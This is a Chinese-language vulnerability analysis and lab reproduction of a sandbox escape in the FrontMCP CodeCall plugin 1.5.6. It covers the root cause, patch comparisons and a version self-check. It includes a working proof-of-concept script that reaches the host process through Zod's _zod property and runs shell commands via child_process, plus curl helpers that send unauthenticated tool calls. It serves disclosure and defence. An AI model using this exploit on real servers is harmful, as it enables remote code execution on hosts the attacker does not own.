@frontmcp/plugin-codecall 1.5.6 及更早版本经 getTool 向沙箱递送活 Zod 实例,脚本读 _zod 拿到宿主对象,单次 tools/call 即可在 MCP 服务进程执行命令。

漏洞概述

FrontMCP 是 MCP 生态里的 Node.js 框架,漏洞出在它的 CodeCall 插件 @frontmcp/plugin-codecall。插件让模型写一段 JavaScript,把找工具、调工具、拿结果整套编排放进脚本交给服务端执行,脚本跑在内置的 AgentScript 沙箱里。

漏洞分析

拦截点

脚本和宿主之间有两处拦截。静态校验按源码解析脚本,命中 constructor 直接拒绝,报 IllegalBuiltinAccess。

getTool 是刻意放进沙箱的合法能力,源码里的保留名单:

grep -n 'getTool' node_modules/@frontmcp/plugin-codecall/esm/index.mjs | head -6

第二处拦截是运行时膜,静态检查被绕过时,危险属性访问在运行期被挡住,抛 Security violation。双 VM 包装和跨沙箱投影由 @enclave-vm/core 负责。

源码根因

1.5.6 的 getTool:

sed -n '2703,2712p' node_modules/@frontmcp/plugin-codecall/esm/index.mjs

最后两行把 tool.rawInputSchema 和 tool.outputSchema 直接返回,两者都是宿主侧活的 Zod 实例。1.5.7 换掉了这两个字段:

cd /home/nl/frontmcp-fixed && sed -n '2717,2726p' node_modules/@frontmcp/plugin-codecall/esm/index.mjs

返回值改成 getInputJsonSchema()、getOutputJsonSchema() 生成的纯 JSON Schema,外面再套 toPlainJson。

_zod 的属性描述符

在靶机上打出 _zod 的属性描述符:

cat > /tmp/desc.mjs <<'EOF'
import { z } from '/home/nl/frontmcp/node_modules/zod/index.js';
const s = z.object({ users: z.array(z.string()) });
const d = Object.getOwnPropertyDescriptor(s, '_zod');
console.log('configurable:', d && d.configurable);
console.log('writable:', d && d.writable);
console.log('enumerable:', d && d.enumerable);
console.log('valueType:', d && typeof d.value);
try { Object.defineProperty(s, '_zod', { value: 1 }); console.log('redefine: ok'); }
catch (e) { console.log('redefine:', e.constructor.name, e.message); }
EOF
node /tmp/desc.mjs

不能配置、不能改写、不能被枚举,重定义直接抛 TypeError。

同一个对象上,constructor 被拦(b3 报 Security violation),_zod 放行(b4 返回 status: ok)。

原因在 _zod 的属性形态。它是不可配置、不可写的自有属性,膜用 Proxy 包住宿主对象,按 ECMAScript 的 Proxy 不变量,不可配置自有属性上的 get 必须返回目标原值,给出替身就抛 TypeError,上面 redefine 那条报错就是这条规则。膜在 _zod 上只能把宿主原对象交出去。constructor 不在这个限制里,膜可以拦在 get 上,返回拦截函数,所以 b3 被拒。

_zod.constr 的 constructor 取到的是 function(b5)。poc 用这个 Function 取 process,再用 getBuiltinModule 取 child_process,输出见后面。

直接 new raw.constr() 报 Cannot read properties of undefined (reading 'checks'),栈里是 zod/v4/core 的代码。 对 constr 再取一层 constructor,结果是 function,poc 走的是这条路径。

漏洞复现

环境准备

版本按 package.json 钉死:@frontmcp 四个包统一 1.5.6,@enclave-vm/core 用 overrides 固定在 2.15.0。

cat package.json

node -e "for (const p of ['@frontmcp/plugin-codecall','@frontmcp/sdk','@enclave-vm/core','zod']) console.log(p, require('/home/nl/frontmcp/node_modules/'+p+'/package.json').version)" 

服务代码

服务入口用装饰器写法,只留一个业务工具:

cat src/main.ts

auth.mode 是 public,与公告描述的攻击面一致。App 层开 CodeCall,只开 codecall_only 模式:

cat src/apps/lab/index.ts

业务工具就是返回用户列表,重点是它的 outputSchema 是真实的 Zod object:

cat src/apps/lab/tools/users-list.tool.ts

启动服务

npx tsc -p .
fuser -k 3105/tcp
setsid node dist/main.js > server.log 2>&1 < /dev/null &
sleep 3 && cat server.log
ss -lntp | grep 3105

服务 PID 是 573495,后面用它判断代码跑在谁的上下文里。

建立会话

MCP 入口在根路径 /,先 initialize 取 Mcp-Session-Id,再发 notifications/initialized,之后才能 tools/call。先写请求体和几个 shell 函数:

cat > init.json <<'EOF'
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"lab","version":"0.1.0"}}}
EOF
cat > lab.sh <<'EOF'
init_sess(){ curl -sS -D - -o /dev/null -X POST "http://127.0.0.1:$1/" -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' --data-binary @init.json | grep -i '^mcp-session-id:' | awk '{print $2}' | tr -d '\r'; }
call(){ curl -sS -X POST "http://127.0.0.1:$1/" -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H "Mcp-Session-Id: $2" --data-binary @"$3"; }
mksess(){ curl -sS -X POST "http://127.0.0.1:$1/" -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' -H "Mcp-Session-Id: $2" --data-binary '{"jsonrpc":"2.0","method":"notifications/initialized"}' -o /dev/null -w 'notifications/initialized -> %{http_code}\n'; }
EOF
source lab.sh
curl -sS -D - -o /dev/null -X POST http://127.0.0.1:3105/ -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' --data-binary @init.json

SID=$(init_sess 3105); echo "SID=$SID"; mksess 3105 "$SID"

cat >> lab.sh <<'EOF'
mkbody(){ python3 -c 'import json,sys;print(json.dumps({"jsonrpc":"2.0","id":int(sys.argv[1]),"method":"tools/call","params":{"name":"codecall:execute","arguments":{"script":open(sys.argv[2]).read()}}}))' "$1" "$2" > "$3"; }
EOF
source lab.sh
cat > tools.json <<'EOF'
{"jsonrpc":"2.0","id":2,"method":"tools/list"}
EOF
call 3105 "$SID" tools.json > list.out; grep -o '"name":"codecall:[a-z]*"' list.out | sort -u

四个 codecall:* 元工具都在,全程没带 Authorization 头。

基线验证

第一个基线直接访问构造器:

cat > b1.js <<'EOF'
return ({})["constructor"]
EOF
mkbody 3 b1.js b1.json && call 3105 "$SID" b1.json

返回 illegal_access,三条静态规则同时命中。第二个基线用 String.fromCharCode 拼出 constructor 绕开词法层,打 getTool 本体:

cat > b2.js <<'EOF'
const k = String.fromCharCode(99,111,110,115,116,114,117,99,116,111,114)
return typeof getTool[k]
EOF
mkbody 4 b2.js b2.js.json && call 3105 "$SID" b2.js.json

Security violation,静态层被绕过,膜接住了。第三个基线换成 getTool 返回对象上的 outputSchema。这里挑的是 meta-tool codecall:invoke,它由框架自己注册,脚本 getTool 直接可取;后面 3108 的探针里业务工具 users 同样能查到,只是 invoke 不再暴露。

cat > b3.js <<'EOF'
const k = String.fromCharCode(99,111,110,115,116,114,117,99,116,111,114)
return typeof getTool("codecall:invoke").outputSchema[k]
EOF
mkbody 5 b3.js b3.js.json && call 3105 "$SID" b3.js.json

三组基线都没打通:b1 是 illegal_access,三条静态规则同时命中;b2、b3 都是 Security violation,拦在膜上。

绕过点

把 constructor 换成 _zod,同一行代码结局不同:

cat > b4.js <<'EOF'
const raw = getTool("codecall:invoke").outputSchema._zod
return { keys: Object.keys(raw).join(","), constr: typeof raw.constr }
EOF
mkbody 6 b4.js b4.js.json && call 3105 "$SID" b4.js.json

status 是 ok,没有安全违规。返回的字段是 def,constr,traits,bag,version,deferred,parse,processJSONSchema,run,constr 是 function。不是纯 JSON 数据。

再取 constr 的 constructor:

cat > b5.js <<'EOF'
const k = String.fromCharCode(99,111,110,115,116,114,117,99,116,111,114)
const raw = getTool("codecall:invoke").outputSchema._zod
return typeof raw["constr"][k]
EOF
mkbody 7 b5.js b5.js.json && call 3105 "$SID" b5.js.json

function。两组的 constructor 都是动态拼出来的,b3 走 outputSchema[k] 被拦,b5 走 outputSchema._zod.constr[k] 放行,区别在取属性的起点:前者取的是膜包装后的 schema,后者先经 _zod 落到宿主对象再取。

执行命令

拿到宿主 Function 之后,按标准 Node 接口往下走:

cat > poc.js <<'EOF'
const k = String.fromCharCode(99,111,110,115,116,114,117,99,116,111,114)
const raw = getTool("codecall:invoke").outputSchema._zod
const HostFunction = raw["constr"][k]
const host = HostFunction("return process")()
const cp = host.getBuiltinModule("child_process")
const out = cp.execSync("id -u -n; hostname; echo escaped > /tmp/frontmcp_rce_lab.txt").toString()
return { escaped: true, serverPid: host.pid, cwd: host.cwd(), out: out.trim() }
EOF
mkbody 8 poc.js poc.json && call 3105 "$SID" poc.json

先拼 constructor 绕开 AST;从工具描述里取 _zod;然后拿到宿主 Function;接着执行 return process 拿到进程对象;再然后走 getBuiltinModule 取内建模块;最后执行命令并落盘。

终端侧确认文件落盘:

ss -lntp | grep 3105; ls -l /tmp/frontmcp_rce_lab.txt; cat /tmp/frontmcp_rce_lab.txt

属主 nl,与跑服务的用户一致。清掉标记文件,给后面三组对照留干净的判断依据:

rm -f /tmp/frontmcp_rce_lab.txt; ls -l /tmp/frontmcp_rce_lab.txt

漏洞修复

四组对照

1.5.7 同时升了插件和 @enclave-vm/core,拆成四组,端口分开。3105 是插件 1.5.6 配 core 2.15.0 的漏洞版本体,PoC 成立;3106 是 1.5.7 配 2.15.1 的官方修复版;3107 是旧插件新沙箱;3108 是新插件旧沙箱。

先看 3106,同一份 poc.js 重放:

cd /home/nl/frontmcp-fixed && cp /home/nl/frontmcp/init.json . && setsid node dist/main.js > server.log 2>&1 < /dev/null & sleep 3; ss -lntp | grep 3106
SIDF=$(init_sess 3106); echo "SIDF=${SIDF:0:20}..."; mksess 3106 "$SIDF"
mkbody 9 /home/nl/frontmcp/poc.js fpoc.json && call 3106 "$SIDF" fpoc.json

2.15.1 的报错和 2.15.0 不同:不只拦字面量,变量形式拼出来的 constructor 也拦。标记文件没有出现:

ls -l /tmp/frontmcp_rce_lab.txt

再看 schema 形态,同一段脚本在 3106 和 3105 各跑一次:

cat > cmp.js <<'EOF'
const t = getTool("users-list")
return { isJsonSchema: typeof t.outputSchema.$schema === "string", zodMeta: typeof t.outputSchema._zod }
EOF
mkbody 10 cmp.js fcmp.json && call 3106 "$SIDF" fcmp.json
cd /home/nl/frontmcp && cp /home/nl/frontmcp-fixed/cmp.js . && mkbody 10 cmp.js fcmp.json && call 3105 "$SID" fcmp.json

3106 是 isJsonSchema: true、zodMeta: undefined,3105 是 isJsonSchema: false、zodMeta: object。cmp.js 走普通 tools/call,两版都有 status: ok。

3107,旧插件配新沙箱:

cd /home/nl/frontmcp-eo && cp /home/nl/frontmcp/init.json . && setsid node dist/main.js > server.log 2>&1 < /dev/null & sleep 3; ss -lntp | grep 3107
node -e "for (const p of ['@frontmcp/plugin-codecall','@enclave-vm/core']) console.log(p, require('/home/nl/frontmcp-eo/node_modules/'+p+'/package.json').version)" 
SIDE=$(init_sess 3107); echo "SIDE=${SIDE:0:20}..."; mksess 3107 "$SIDE"
mkbody 11 /home/nl/frontmcp/poc.js eopoc.json && call 3107 "$SIDE" eopoc.json

同样被静态规则拦下。这一版插件仍把 live Zod 递进沙箱,换成直接碰 _zod:

cat > e1.js <<'EOF'
const raw = getTool("codecall:invoke").outputSchema._zod
return typeof raw.constr
EOF
mkbody 12 e1.js e1.json && call 3107 "$SIDE" e1.json

3107 上 _zod 直接报 Access to '_zod' is blocked。回到 3105 的漏洞版跑同一个脚本对照:

mkbody 12 e1.js v1.json && call 3105 "$SID" v1.json

2.15.0 上放行,2.15.1 上被拦。

另有一个失败的写法,直接 new _zod.constr(),想不经过 constructor 就构造出宿主 ZodObject。脚本仍跑在 3105 的漏洞版上:

cat > e2.js <<'EOF'
const raw = getTool("codecall:invoke").outputSchema._zod
return typeof new raw.constr()
EOF
mkbody 13 e2.js v2.json && call 3105 "$SID" v2.json

栈里全是宿主路径 file:///home/nl/frontmcp/node_modules/zod/v4/core/,构造抛 checks 未定义。poc 走的是再取一层 constructor。

3108,新插件配旧沙箱:

cd /home/nl/frontmcp-v7 && cp /home/nl/frontmcp/lab.sh /home/nl/frontmcp/init.json .
node -e "for (const p of ['@frontmcp/plugin-codecall','@enclave-vm/core']) console.log(p, require('/home/nl/frontmcp-v7/node_modules/'+p+'/package.json').version)" 
setsid node dist/main.js > server.log 2>&1 < /dev/null &
sleep 3 && cat server.log && ss -lntp | grep 3108
SIDV=$(init_sess 3108); echo "SIDV=${SIDV:0:20}..."; mksess 3108 "$SIDV"
mkbody 14 /home/nl/frontmcp/poc.js vpoc.json && call 3108 "$SIDV" vpoc.json
ls -l /tmp/frontmcp_rce_lab.txt

3108 上 poc 败在 getTool("codecall:invoke") 返回 undefined,读 outputSchema 抛 TypeError,命中行是 __ag_main (inner-agentscript.js:3:41)。探针脚本:

cat > t1.js <<'EOF'
const inv = getTool("codecall:invoke")
const usr = getTool("users-list")
return { invoke: typeof inv, users: typeof usr, fromJson: typeof usr.outputSchema.$schema, zodMeta: typeof usr.outputSchema._zod }
EOF
mkbody 15 t1.js t1.json && call 3108 "$SIDV" t1.json

invoke: undefined,meta-tool 自身不再通过 getTool 暴露;users: object,业务工具照样能查;fromJson: string,outputSchema 上有 $schema;zodMeta: undefined,_zod 不存在。

四组跑完:PoC 只有 1.5.6 配 2.15.0 能打通。3106 和 3107 上变量拼的 constructor 都被静态规则拦,3107 上 _zod 报 Access to '_zod' is blocked;3108 上 getTool("codecall:invoke") 返回 undefined。@enclave-vm/core@2.15.1 阻断 _zod,属纵深防御;@frontmcp/plugin-codecall@1.5.7 不再返回 live Zod,属根因修复。

修复要点

1.5.7 的 getTool 换成 toPlainJson 加 getInputJsonSchema / getOutputJsonSchema,源码见前面两段 sed 输出。实测对应三点:codecall:invoke 在 1.5.7 下返回 undefined,outputSchema 的 _zod 变成 undefined,$schema 是 string。

同一份 e1.js,2.15.1 上 Access to '_zod' is blocked,2.15.0 上返回 function。

自查方式

node -e "for (const p of ['@frontmcp/plugin-codecall','@enclave-vm/core']) console.log(p, require('./node_modules/'+p+'/package.json').version)"

插件低于 1.5.7,或 @enclave-vm/core 低于 2.15.1,都缺对应的那道修复。形态判据用前面的 cmp.js 打一次就够:typeof $schema === "string" 为 true、typeof _zod 为 undefined,是 1.5.7 之后的返回;_zod 拿到 object,与 1.5.6 一致。

复现还有一个前提:认证。靶机按 auth.mode: 'public' 启动,请求不带 Authorization 头也能 initialize 和 tools/call,公告向量里的 PR:N 对应这个配置。

相关资料

CVE 记录:CVE-2026-67531

上游安全公告:GHSA-mp29-fxh8-92px

受影响版本:@frontmcp/plugin-codecall 1.5.6

修复版本:@frontmcp/plugin-codecall 1.5.7

修复提交:frontmcp commit 209cddd

沙箱实现:@enclave-vm/core

国内漏洞库:阿里云 AVD-2026-67531

补充情报:Neosec CVE-2026-67531